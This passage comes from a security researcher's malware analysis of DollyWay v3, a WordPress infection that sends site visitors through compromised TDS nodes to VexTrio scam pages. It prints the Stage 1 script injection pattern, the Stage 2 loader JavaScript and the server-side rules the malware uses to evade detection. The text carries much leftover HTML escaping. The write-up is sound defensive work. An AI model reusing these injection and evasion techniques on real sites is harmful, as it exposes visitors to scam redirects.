wp-content\/counts.php<\/strong> scripts on select compromised sites as C2\/TDS, while previous versions of DollyWay malware used different file names.\u00a0\u00a0<\/p>\nRedirect script injections\u00a0<\/h3>\n DollyWay v3 employs a sophisticated four-stage injection chain designed to evade detection. \u00a0<\/p>\n
Stage 1: Initial injection\u00a0<\/h4>\n The first stage leverages WordPress’s wp_enqueue_script<\/strong> function to append a link to a dynamically generated script loading from the site’s main URL whenever someone visits an infected domain. Each injection includes a unique 32-character hexadecimal parameter \u2014 an MD5 hash that serves as a site identifier and is different for each infected site. \u00a0<\/p>\nFrom now on, we\u2019ll refer to the initial hexadecimal string as hex32> and its derivatives as md5(hex32)<\/strong>, md5(md5(hex32))<\/strong> and so on, depending on how many times md5<\/strong> function was applied.\u00a0<\/p>\nThe pattern for the Stage 1 injection is:\u00a0<\/p>\n
\n
script<\/span> src=<\/span>\"https:\/\/\/?&ver=\"<\/wordpress><\/md5><\/infected-site><\/span> id=<\/span>\"-js\"<\/md5><\/span>><\/span>script<\/span>><\/span>\u00a0<\/span><\/span><\/pre>\n<\/div>\nExample with a redacted domain of an infected site:\u00a0<\/p>\n
\n
script<\/span> src=<\/span>\"https:\/\/[redacted]\/?ccb2d976143fb8616e62575fafebccbb&ver=6.6.1\"<\/span> id=<\/span>\"ccb2d976143fb8616e62575fafebccbb-js\"<\/span>><\/span>script<\/span>><\/span>\u00a0<\/span><\/span><\/pre>\n<\/div>\nThe goal is to inject a generic looking script that will leave security scanners that only do static analysis of the HTML code with very little information and hide the real malicious activity in the dynamically generated subsequent stages of the injections.\u00a0<\/p>\n
Stage 2: Dynamic loading and referrer collection\u00a0<\/h4>\n Since the URL in the Stage 1 script is not a static .js file, the WordPress engine is used to generate its contents. The DollyWay malware detects that the md5(hexh32)> parameter is present in the requested URL and hijacks the response generation, producing JavaScript code like this:\u00a0<\/p>\n
\n
(<\/span>function<\/span>(<\/span>)<\/span> <\/span>{<\/span> <\/span><\/span>\n\u202f\u202f\u202f\u202f<\/span>var<\/span> ref<\/span>;<\/span> <\/span><\/span>\n\u202f\u202f\u202f\u202f\u202f\u202f<\/span>var<\/span> po <\/span>=<\/span> document<\/span>.<\/span>createElement<\/span>(<\/span>'script'<\/span>)<\/span>;<\/span> <\/span><\/span>\n\u202f\u202f\u202f\u202f\u202f\u202fpo<\/span>.<\/span>type<\/span> <\/span>=<\/span> <\/span>'text\/javascript'<\/span>;<\/span> <\/span><\/span>\n\u202f\u202f\u202f\u202f\u202f\u202fpo<\/span>.<\/span>async <\/span>=<\/span> <\/span>true<\/span>;<\/span> <\/span><\/span>\n\u202f\u202f\u202f\u202f\u202f\u202f<\/span>if<\/span>(<\/span>document<\/span>.<\/span>referrer<\/span>.<\/span>length <\/span>=<\/span>=<\/span> <\/span>0<\/span>)<\/span> <\/span>{<\/span>ref <\/span>=<\/span> <\/span>'undefined'<\/span>;<\/span>}<\/span> <\/span>else<\/span> <\/span>{<\/span>ref <\/span>=<\/span> document<\/span>.<\/span>referrer<\/span>;<\/span>}<\/span> <\/span><\/span>\n po<\/span>.<\/span>src <\/span>=<\/span> <\/span>'?&'<\/md5><\/span> <\/span>+<\/span> Math<\/span>.<\/span>floor<\/span>(<\/span>Math<\/span>.<\/span>random<\/span>(<\/span>)<\/span> <\/span>*<\/span> <\/span>100000<\/span>)<\/span> <\/span>+<\/span> <\/span>'&'<\/span> <\/span>+<\/span> ref<\/span>;<\/span> <\/span><\/span>\n\u202f\u202f\u202f\u202f\u202f\u202f<\/span>var<\/span> s <\/span>=<\/span> document<\/span>.<\/span>getElementsByTagName<\/span>(<\/span>'script'<\/span>)<\/span>[<\/span>0<\/span>]<\/span>;<\/span> <\/span><\/span>\n\u202f\u202f\u202f\u202f\u202f\u202fs<\/span>.<\/span>parentNode<\/span>.<\/span>insertBefore<\/span>(<\/span>po<\/span>,<\/span> s<\/span>)<\/span>;<\/span> <\/span><\/span>\n\u202f\u202f\u202f\u202f<\/span>}<\/span>)<\/span>(<\/span>)<\/span>;<\/span> <\/span><\/span>\n<\/pre>\n<\/div>\nAt this point, the malware can still evade some static analysis tools that load links found in the HTML code of the page. So, the goal of Stage 2 is to block static analysis scanners completely and start collecting information that may be used by a TDS while not revealing the malicious behavior.\u00a0<\/p>\n
To accomplish this, the Stage 2 script dynamically loads the Stage 3 script from the \/?\n
https:<\/span>\/\/[redacted]\/?39c67aeb2992af8278ec16172137e422&77947&<\/span>https:\/\/www.google.com\/<\/span>\u00a0<\/span><\/span><\/pre>\n<\/div>\nStage 3: TDS script injection\u00a0<\/h4>\n Since static analysis scanners can\u2019t also easily discover the Stage 3 scripts, this is where the real malicious behavior begins. To further evade detection, the malware performs some additional server-side filtering as shown below:\u00a0<\/p>\n
\n
This means that the Stage 3 script will not be generated for:<\/p>\n
\nWordPress users that are currently logged in\u00a0\u00a0<\/li>\n Known bots (the malware maintains its own list of around 102 different bot User-Agent strings)\u00a0<\/li>\n Any visitors that come from localhost \u00a0<\/li>\n Visitors that don\u2019t have a referrer (Stage 2 script set to \u201cundefined\u201d)\u00a0<\/li>\n<\/ul>\nFor those who don\u2019t fall into the above criteria,\u00a0 the malware generates a script that tries to dynamically load the Stage 4 scripts from 3 random nodes (third-party infected sites). The malware stores a list of current nodes along with other malware settings encoded as a WordPress option in the wp_options<\/strong> table.\u00a0<\/p>\n\n
These nodes act as TDS (traffic direction system) and use the \/wp-content\/counts.php<\/strong> path in their URLs to return scripts that start the malicious redirect chain. Later, we will show how the nodes also act as C2 servers, providing the malware on infected sites with the most up-to-date set of settings.\u00a0<\/p>\nTDS nodes and TDS script URLs\u00a0<\/h3>\n The TDS URLs contain two extra parameters ?cat<\/strong> and &t<\/strong>. The dolly_category<\/strong>\u201d along with other DollyWay settings in the wp_options<\/strong> table.\u00a0<\/p>\n\n0 – Dating\u00a0<\/li>\n 1 – Mainstream (Sweepstakes)\u00a0<\/li>\n 2 – Crypto\u00a0<\/li>\n 3 – Gay Dating\u00a0<\/li>\n 4 – Gambling\u00a0<\/li>\n 5 – Cams\u00a0<\/li>\n<\/ul>\nDollyWay v3 most frequently uses the Dating (0) and the Mainstream (1) categories.\u00a0<\/p>\n
The use of three different nodes at the same time can be explained by their desire to ensure the visitor gets redirected, even if some of the nodes are taken down. Remember, the nodes are also compromised WordPress sites, and the attack operators don\u2019t fully control them and can\u2019t guarantee their uptime.\u00a0<\/p>\n
To improve chances that some of the nodes are functional, DollyWay maintains a list of C2\/TDS nodes that they store in the settings and update them once a day. The list currently consists of 14 nodes and the Stage 3 script randomly picks three of them every time it is triggered.\u00a0<\/p>\n
Stage 4: The redirect\u00a0<\/h4>\n The Stage 4 scripts returned by the TDS node is where the actual redirect code can be found. \u00a0<\/p>\n
\n
All the nodes typically return the exact same script. To avoid multiple redirects, the malware saves the \u201ctest<\/strong>\u201d and the \u201cclick4<\/strong>\u201d parameters (in Nov 2024, changed to \u201ctest01\u201d and \u201cclick01\u201d respectively) in the browser’s local storage whenever a visitor gets redirected to a scam site.\u00a0<\/p>\nThe redirect only occurs if these storage parameters are not found and when a visitor clicks anywhere on a web page.\u00a0<\/p>\n
The redirects consistently go to VexTrio\/LosPollos links with the u=7mkpd0d<\/strong> parameter (affiliate user id in the LosPollos system). The &o<\/strong> parameter changes depending on the category specified in the TDS URL For example, ex3wmkx<\/strong> corresponds to the \u201cDating (0)\u201d <\/strong>category and is specific to this LosPollos user only.\u00a0<\/p>\nEach category also has a predefined VexTrio domain name saved on each C2\/TDS node.\u00a0<\/p>\n
After Stage 4, VexTrio\/LosPollos control the redirect chain. Usually, site visitors end up on their scam pages. Sometimes the final landing page will be a Google Play page for some legitimate application like Tinder, TikTok, Instagram, that probably buys downstream traffic from LosPollos or when their TDS decides that they are not interested in the visitor.\u00a0<\/p>\n
\n
Example of VexTrio\/LosPollos scam landing page served by DollyWay redirects.<\/em>\u00a0<\/figcaption><\/figure>\n<\/div>\nServer-side analysis: Advanced persistence and stealth mechanisms\u00a0<\/h3>\n Now that we know how this malware works from an external perspective, let’s explore how everything works behind the scenes.\u00a0<\/p>\n
Persistent reinfection mechanism\u00a0<\/h4>\n The malicious PHP code is injected into all active plugins and as WPCode snippets.\u00a0<\/p>\n
What is more interesting is that injections don\u2019t stop once the site is infected. This malware has a sophisticated reinfection procedure that takes place every time any WordPress page is opened<\/strong>. \u00a0<\/p>\nIt consists of 4 main steps:\u00a0<\/p>\n
\n
![\"dollyway](\"https:\/\/www.godaddy.com\/resources\/wp-content\/uploads\/2025\/03\/image-17.png?size=3840x0\"\/)
<\/figure>\n<\/div>\n![\"malware](\"https:\/\/www.godaddy.com\/resources\/wp-content\/uploads\/2025\/03\/image.png?size=3840x0\"\/)
<\/figure>\n<\/div>\n![\"stage](\"https:\/\/www.godaddy.com\/resources\/wp-content\/uploads\/2025\/03\/image-12.png?size=3840x0\"\/)
<\/figure>\n<\/div>\n![\"Example](\"https:\/\/www.godaddy.com\/resources\/wp-content\/uploads\/2025\/03\/image.jpeg?size=3840x0\"\/)